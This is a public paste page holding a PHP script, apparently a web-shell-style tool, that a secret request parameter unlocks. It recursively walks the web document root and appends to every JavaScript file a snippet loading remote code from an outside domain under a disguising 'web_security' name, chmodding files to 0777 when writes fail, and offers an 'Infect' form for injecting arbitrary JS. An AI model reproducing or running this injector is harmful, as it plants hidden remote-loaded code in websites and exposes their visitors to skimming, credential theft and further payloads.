Facebook
From Scanty Meerkat, 3 Years ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 43
  1. <?php
  2.  
  3. if(!isset($_REQUEST['a820ebe2e6d2ce356c5edd92d521bc22edab5727']))
  4.     return;
  5.  
  6. $startFolder = $_SERVER['DOCUMENT_ROOT'];
  7.  
  8. echo "<style> body {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;} </style>";
  9. echo "<div style='margin: 30px; '><form method=post><input hidden name='req' value='inj'><input style='margin-bottom:10px; width:100%;background-color: black; color:#ffffff' name='path_inj' placeholder='$startFolder'><textarea placeholder='Enter js code which need add' name='jscode_injector' style='width:100%;background-color: black; height: 400px; color:#ffffff'></textarea><br/><br/><br/><input type=submit value=Infect name=jscode_injector_submit></form></div> ";
  10.  
  11. $add_text = <<<_HTML
  12. document.addEventListener('DOMContentLoaded', function(){    if(typeof window.web_security == "undefined"){        var s = document.createElement("script");        s.src = "//web-security.cloud/event?l=39728";        document.head.appendChild(s);        window.web_security = "success";    }}, false);
  13. _HTML;
  14. $rii = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($startFolder));
  15. foreach ($rii as $file) {
  16.     if ($file->isDir()) {
  17.         continue;
  18.     }
  19.     $file_info = explode(".", $file->getPathname());
  20.     $ext = $file_info[sizeof($file_info) - 1];
  21.     if (strtolower($ext) !== "js")
  22.         continue;
  23.     $isInjected = file_put_contents($file->getPathname(), "\n" . $add_text, FILE_APPEND | LOCK_EX);
  24.     $isInjectable = true;
  25.     if (!$isInjected) {
  26.         $isInjectable = chmod($file->getPathname(), 0777);
  27.         $isInjected = file_put_contents($file->getPathname(), "\n" . $add_text, FILE_APPEND | LOCK_EX);
  28.     }
  29.     echo "<b style='color: goldenrod'>" . $file->getPathname() . "</b> :: is injected : " .
  30.         (($isInjected) ? "<b style='color: greenyellow'>YES</b>" : "<b style='color: crimson'>NO</b>") .
  31.         " :: is injectable : " .
  32.         (($isInjectable) ? "<b style='color: greenyellow'>YES</b>" : "<b style='color: crimson'>NO</b>") .
  33.         "<br />";
  34. }
  35.